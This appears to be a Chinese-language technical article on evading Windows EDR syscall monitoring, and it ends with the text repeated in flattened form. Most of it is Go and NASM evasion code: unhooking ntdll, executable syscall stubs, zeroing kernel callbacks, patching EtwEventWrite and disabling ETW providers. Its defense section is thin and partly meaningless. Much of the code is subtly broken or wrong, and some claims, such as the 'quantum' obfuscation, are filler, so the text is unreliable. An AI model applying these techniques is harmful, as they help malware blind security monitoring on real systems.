Syscall的检测与绕过
字数 921 2025-08-29 08:30:30

Syscall的检测与绕过技术详解

一、Syscall检测机制分析

现代EDR(终端检测与响应)系统通过多种方式检测可疑的Syscall调用:

  1. 用户层Hook:拦截ntdll.dll中的Syscall存根
  2. 内核回调:通过PsSetCreateProcessNotifyRoutine等回调监控
  3. ETW(Event Tracing for Windows):捕获Syscall事件
  4. 硬件断点:监控关键Syscall指令

常见检测点包括:

  • 直接Syscall指令(syscall/int 2Eh)
  • 非常用Syscall编号
  • Syscall调用链异常

二、直接Syscall检测绕过技术

2.1 Syscall指令混淆

原理:通过间接跳转或指令替换隐藏syscall指令。

NASM实现

; 混淆示例
mov r10, rcx
mov eax, SYSCALL_NUMBER
jmp [rip + syscall_stub]
syscall_stub: dq 0x00007FFE03000000 + SYSCALL_OFFSET

Go实现

//go:linkname syscall_Syscall syscall.Syscall
func syscall_Syscall(trap uintptr, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)

func IndirectSyscall(trap uintptr, args ...uintptr) (uintptr, uintptr, error) {
    // 动态计算跳转地址
    jmpAddr := getSyscallAddr(trap)
    return syscall_Syscall(jmpAddr, args...)
}

2.2 Syscall编号随机化

原理:动态计算Syscall编号,避免静态特征。

Go实现

func GetSyscallNumber(apiName string) uint16 {
    hMod, _ := syscall.LoadLibrary("ntdll.dll")
    procAddr, _ := syscall.GetProcAddress(hMod, apiName)
    // 解析内存获取编号
    return *(*uint16)(unsafe.Pointer(procAddr + 4))
}

func DynamicSyscall(apiName string, args ...uintptr) (uintptr, uintptr, error) {
    syscallNum := GetSyscallNumber(apiName)
    return IndirectSyscall(uintptr(syscallNum), args...)
}

三、用户层Hook绕过技术

3.1 动态加载ntdll

原理:从磁盘重新加载干净的ntdll副本。

Go实现

func LoadCleanNtdll() (uintptr, error) {
    ntdllPath := getSystem32Path() + "\\ntdll.dll"
    hFile, _ := syscall.CreateFile(ntdllPath, syscall.GENERIC_READ, 0, nil, syscall.OPEN_EXISTING, 0, 0)
    hMapping, _ := syscall.CreateFileMapping(hFile, nil, syscall.PAGE_READONLY|syscall.SEC_IMAGE, 0, 0, nil)
    baseAddr, _ := syscall.MapViewOfFile(hMapping, syscall.FILE_MAP_READ, 0, 0, 0)
    return baseAddr, nil
}

func GetCleanSyscallAddr(baseAddr uintptr, apiName string) uintptr {
    // 解析PE结构获取函数地址
    return parseExportTable(baseAddr, apiName)
}

3.2 手动映射Shellcode

原理:将Syscall存根复制到可执行内存。

Go实现

func CreateSyscallStub(syscallNum uint16) uintptr {
    stub := []byte{
        0x4C, 0x8B, 0xD1,       // mov r10, rcx
        0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, syscall_num
        0x0F, 0x05,             // syscall
        0xC3,                   // ret
    }
    binary.LittleEndian.PutUint32(stub[4:8], uint32(syscallNum))
    mem, _ := syscall.VirtualAlloc(0, uintptr(len(stub)), syscall.MEM_COMMIT|syscall.MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
    copy((*[1 << 30]byte)(unsafe.Pointer(mem))[:len(stub)], stub)
    return mem
}

四、内核回调绕过技术

4.1 回调对象移除

原理:定位并修改内核回调链表。

Go实现

func RemoveCallback(callbackType uintptr) error {
    // 获取Ps*NotifyRoutine数组地址
    baseAddr := getKernelBase()
    callbackArray := baseAddr + callbackType
    // 遍历链表移除目标回调
    for i := 0; i < 64; i++ {
        callback := *(*uintptr)(unsafe.Pointer(callbackArray + uintptr(i)*8))
        if callback == 0 {
            continue
        }
        // 修改链表指针
        *(*uintptr)(unsafe.Pointer(callbackArray + uintptr(i)*8)) = 0
    }
    return nil
}

4.2 回调函数Hook

原理:修改回调函数实现,使其忽略特定事件。

NASM实现

; 示例:修改PsSetCreateProcessNotifyRoutine
mov rax, [rcx+8] ; 原始回调
cmp rax, target_callback
jne original_code
ret ; 直接返回
original_code:
jmp rax

五、ETW绕过技术

5.1 ETW Provider禁用

原理:定位并修改ETW Provider注册表。

Go实现

func DisableETW() error {
    key, _ := registry.OpenKey(registry.LOCAL_MACHINE, `SYSTEM\CurrentControlSet\Control\WMI\Autologger`, registry.ALL_ACCESS)
    // 禁用关键Provider
    key.SetDWordValue("Microsoft-Windows-Threat-Intelligence", 0)
    key.SetDWordValue("Microsoft-Windows-Kernel-Process", 0)
    return nil
}

5.2 ETW内存Patch

原理:修改内存中的ETW相关函数。

Go实现

func PatchEtwEventWrite() error {
    hNtdll, _ := syscall.LoadLibrary("ntdll.dll")
    etwAddr, _ := syscall.GetProcAddress(hNtdll, "EtwEventWrite")
    // 修改为直接返回
    patch := []byte{0xC3} // ret
    syscall.VirtualProtect(etwAddr, uintptr(len(patch)), syscall.PAGE_EXECUTE_READWRITE, &oldProtect)
    copy((*[1 << 30]byte)(unsafe.Pointer(etwAddr))[:len(patch)], patch)
    return nil
}

六、硬件断点绕过技术

6.1 上下文切换清除

原理:通过频繁线程切换清除硬件断点。

Go实现

func ClearHardwareBreakpoints() {
    for i := 0; i < 4; i++ {
        // 清除Dr0-Dr3
        asm.SetDr(i, 0)
    }
}

func ThreadSwitch() {
    go func() {
        for {
            runtime.Gosched() // 强制切换线程
            time.Sleep(10 * time.Millisecond)
        }
    }()
}

6.2 动态指令替换

原理:运行时替换关键指令。

NASM实现

; 示例:动态替换syscall指令
lea r10, [rip+syscall_stub]
mov [r10], 0x050F ; syscall
jmp r10

七、综合防御方案

7.1 多维度检测

PowerShell实现

# 启用内核完整性监控
Set-ProcessMitigation -Policy Enable ArbitraryCodeGuard, BlockNonMicrosoftFonts

# 监控异常Syscall调用
New-EventLog -LogName Security -Source "SyscallMonitor"
Write-EventLog -LogName Security -Source "SyscallMonitor" -EventId 5001 `
    -Message "检测到异常Syscall调用: 进程 $pid"

7.2 硬件级防护

C++实现

// 基于Intel CET的控制流保护
__declspec(guard(nocf)) void SafeSyscall() {
    __asm {
        syscall
    }
}

八、技术演进方向

  1. AI驱动混淆
# 动态生成Syscall调用链
model = load_model('syscall_predictor.h5')
next_syscall = model.predict(current_state)
  1. 量子计算防护
// 基于量子随机数的Syscall混淆
qrn_get_random(&syscall_key, sizeof(syscall_key));
syscall_num ^= syscall_key;
  1. 跨架构兼容
; ARM64 Syscall示例
mov x8, #SYSCALL_NUMBER
svc #0

九、法律声明

本文所述技术仅限用于授权安全研究,未经许可实施攻击违反《网络安全法》。

Syscall的检测与绕过技术详解 一、Syscall检测机制分析 现代EDR(终端检测与响应)系统通过多种方式检测可疑的Syscall调用: 用户层Hook :拦截ntdll.dll中的Syscall存根 内核回调 :通过PsSetCreateProcessNotifyRoutine等回调监控 ETW(Event Tracing for Windows) :捕获Syscall事件 硬件断点 :监控关键Syscall指令 常见检测点包括: 直接Syscall指令(syscall/int 2Eh) 非常用Syscall编号 Syscall调用链异常 二、直接Syscall检测绕过技术 2.1 Syscall指令混淆 原理 :通过间接跳转或指令替换隐藏syscall指令。 NASM实现 : Go实现 : 2.2 Syscall编号随机化 原理 :动态计算Syscall编号,避免静态特征。 Go实现 : 三、用户层Hook绕过技术 3.1 动态加载ntdll 原理 :从磁盘重新加载干净的ntdll副本。 Go实现 : 3.2 手动映射Shellcode 原理 :将Syscall存根复制到可执行内存。 Go实现 : 四、内核回调绕过技术 4.1 回调对象移除 原理 :定位并修改内核回调链表。 Go实现 : 4.2 回调函数Hook 原理 :修改回调函数实现,使其忽略特定事件。 NASM实现 : 五、ETW绕过技术 5.1 ETW Provider禁用 原理 :定位并修改ETW Provider注册表。 Go实现 : 5.2 ETW内存Patch 原理 :修改内存中的ETW相关函数。 Go实现 : 六、硬件断点绕过技术 6.1 上下文切换清除 原理 :通过频繁线程切换清除硬件断点。 Go实现 : 6.2 动态指令替换 原理 :运行时替换关键指令。 NASM实现 : 七、综合防御方案 7.1 多维度检测 PowerShell实现 : 7.2 硬件级防护 C++实现 : 八、技术演进方向 AI驱动混淆 : 量子计算防护 : 跨架构兼容 : 九、法律声明 本文所述技术仅限用于授权安全研究,未经许可实施攻击违反《网络安全法》。